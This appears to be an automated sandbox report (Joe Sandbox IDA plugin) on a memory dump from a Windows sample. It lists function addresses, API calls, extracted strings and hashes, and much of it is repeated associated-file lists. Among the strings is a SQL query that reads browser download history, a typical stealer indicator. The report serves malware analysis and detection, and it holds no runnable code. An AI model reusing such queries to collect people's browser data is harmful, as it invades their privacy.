Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 3404309857-4289949731
Opcode ID: f0f44e7635b151cfeb665843e9c5ed5b38e06191b50cdebfd3d3fdbff80cf609
Instruction ID: 10f9ce4ca2b852f17e9ebcc47fa01c571dafaf73a84386fb2b783ec25af69753
Opcode Fuzzy Hash: f0f44e7635b151cfeb665843e9c5ed5b38e06191b50cdebfd3d3fdbff80cf609
Instruction Fuzzy Hash: FA115E753006059FDB08FF68D89196973AAFF55320754452DF816CB282C770EA82CF95

Function 00189278 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 192stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

lstrlenA.KERNEL32(?), ref: 0018947C
lstrlenA.KERNEL32(?), ref: 00189497

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Strings

SELECT target_path, tab_url from downloads, xrefs: 0018938A
Downloads, xrefs: 001892F9
Downloads, xrefs: 001892A2

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID: Downloads$Downloads$SELECT target_path, tab_url from downloads
API String ID: 2500673778-2241552939
Opcode ID: 59b8accaadd6a912d86efc7172105d91f070aa2b57fcc5ca5b1e2ca5434e4530
Instruction ID: 8b26090aa275ff6fdd96b5cf81d3a6048112754e1ead2a03ef429bc585b77244
Opcode Fuzzy Hash: 59b8accaadd6a912d86efc7172105d91f070aa2b57fcc5ca5b1e2ca5434e4530
Instruction Fuzzy Hash: FA714E32D00129ABDF02FBA4ED468DDB7B4EF29705F524061F511B71A2DB70AE468F91

Function 001A5763 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 001A5771
_free.LIBCMT ref: 001A5784

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: _freemalloc
String ID:
API String ID: 3576935931-0
Opcode ID: 5f9960712b1479561553a040ecadc8582bf34c72aeeb82c6e2f0921975b7e853
Instruction ID: 2a17386375a8561f70a02dd0768d171fe56fa909a9212a52191c8ff79713ffc6
Opcode Fuzzy Hash: 5f9960712b1479561553a040ecadc8582bf34c72aeeb82c6e2f0921975b7e853
Instruction Fuzzy Hash: 36113A3B408A00EBCF223FB4BC05B5A7B97AF573B0B704125F859AA551DB34888087A4

Function 001920E3 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 36stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,00000000,?,?,?,001937D4,00000000,00000010), ref: 001920EE
lstrcpynA.KERNEL32(003DE718,?,00000000,?), ref: 00192107
lstrlenA.KERNEL32(?), ref: 00192119
wsprintfA.USER32 ref: 0019212B

Strings

%s%s, xrefs: 00192125

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 47c29fd494b08b284e4419da2159f97af0b709dbe61064645f8c4def35d972f8
Instruction ID: 24fbfb8ff3cf0888dee4001b17093da6e45a616e663791e8968d553e0e56daab
Opcode Fuzzy Hash: 47c29fd494b08b284e4419da2159f97af0b709dbe61064645f8c4def35d972f8
Instruction Fuzzy Hash: 6CF0823720121A7BEB022B99FC48DAABFADDF557A9F040026F9089A211C771592586E1

Function 001A6769 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 001A6775

Part of subcall function 001A49A4: __getptd_noexit.LIBCMT ref: 001A49A7
Part of subcall function 001A49A4: __amsg_exit.LIBCMT ref: 001A49B4

__getptd.LIBCMT ref: 001A678C
__amsg_exit.LIBCMT ref: 001A679A
__lock.LIBCMT ref: 001A67AA
__updatetlocinfoEx_nolock.LIBCMT ref: 001A67BE

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 2c276793d6806b8766cfc3e5ed18de0e6756e2ce24e5e666ebdf37ed4913ab84
Instruction ID: 76c31f40f94b09052832f809e2eb33a529de4f649686fe789d27ebb0e417a64b
Opcode Fuzzy Hash: 2c276793d6806b8766cfc3e5ed18de0e6756e2ce24e5e666ebdf37ed4913ab84
Instruction Fuzzy Hash: 8DF0B436924710DBDF35BBF8A903B5E33E06F62728F290219F000A71D2CB645940CA96

Function 0019004C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0019006F

Part of subcall function 001AEC48: std::exception::exception.LIBCMT ref: 001AEC5D
Part of subcall function 001AEC48: __CxxThrowException@8.LIBCMT ref: 001AEC72
Part of subcall function 001AEC48: std::exception::exception.LIBCMT ref: 001AEC83

__EH_prolog3_catch.LIBCMT ref: 0019010E
std::_Xinvalid_argument.LIBCPMT ref: 00190122

Strings

vector<T> too long, xrefs: 0019006A, 0019011D

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8H_prolog3_catchThrow
String ID: vector<T> too long
API String ID: 2448322171-3788999226
Opcode ID: 9dd48905545ddf612d41eeda98745df0cfd5e9f45747b54429e4434b7cc2105d
Instruction ID: 6a3a45a444127105fd8ad1e4d3a2b50ffc515d5ec7048b3d994026cb55d90d26
Opcode Fuzzy Hash: 9dd48905545ddf612d41eeda98745df0cfd5e9f45747b54429e4434b7cc2105d
Instruction Fuzzy Hash: 1E31C576A412268FDB1AFFA8EC45AAD7BA9AB19310F11417FF510EB2A0D770C9408B40

Function 001883DE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(003DEF20,0000FFFF,?,?,?,?,?,?,?,?,?,?,0018DADF), ref: 001883F7

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 0019051E: lstrlenA.KERNEL32(?,?,001971B6,001B66BE,001B66BB,?,?,?,?,001985D1), ref: 00190524
Part of subcall function 0019051E: lstrcpyA.KERNEL32(00000000,00000000,?,001971B6,001B66BE,001B66BB,?,?,?,?,001985D1), ref: 00190556

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

SetEnvironmentVariableA.KERNEL32(?,001B7194,003DEF20,001B674E,?,?,?,?,?,?,?,?,0018DADF), ref: 0018844C
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0018DADF), ref: 00188460

Strings

=, xrefs: 001883EB

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: =
API String ID: 2929475105-1325313214
Opcode ID: 05f32d0ae2f63027382745c0d61484ec7e861fd2e108e8bbb6cfca944e6dce70
Instruction ID: 1af8eef68d2c1b8d0a20f5e8a22a1e82ec57877fc026fce3fe7e7dc76d66320b
Opcode Fuzzy Hash: 05f32d0ae2f63027382745c0d61484ec7e861fd2e108e8bbb6cfca944e6dce70
Instruction Fuzzy Hash: 6D314775A02524AFCB13BF68FC424ADBFB9EB59700F554127E510AB271DB31AA42CF81

Function 00196E08 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00196E0F
lstrlenA.KERNEL32(?,0000001C), ref: 00196E1A
StrCmpCA.SHLWAPI(?,ERROR), ref: 00196E9E

Strings

ERROR, xrefs: 00196E96

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchlstrlen
String ID: ERROR
API String ID: 591506033-2861137601
Opcode ID: b6e2925a3ac8d851b6e4a9f3910d44fa8293ac727937d6ebe482e520607b1b69
Instruction ID: c6b2c51a267e3cb58b08b3e46d1ade6f8cbae651fb0f1097cdc61e1bccc6a27d
Opcode Fuzzy Hash: b6e2925a3ac8d851b6e4a9f3910d44fa8293ac727937d6ebe482e520607b1b69
Instruction Fuzzy Hash: 7E11467190050ADFCB52FFB4D942A9DBBB5BF28310B504136E814E7561EB35AEA58FC0

Function 0018F252 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0018F257

Part of subcall function 001AEC48: std::exception::exception.LIBCMT ref: 001AEC5D
Part of subcall function 001AEC48: __CxxThrowException@8.LIBCMT ref: 001AEC72
Part of subcall function 001AEC48: std::exception::exception.LIBCMT ref: 001AEC83

std::_Xinvalid_argument.LIBCPMT ref: 0018F262

Part of subcall function 001AEC95: std::exception::exception.LIBCMT ref: 001AECAA
Part of subcall function 001AEC95: __CxxThrowException@8.LIBCMT ref: 001AECBF
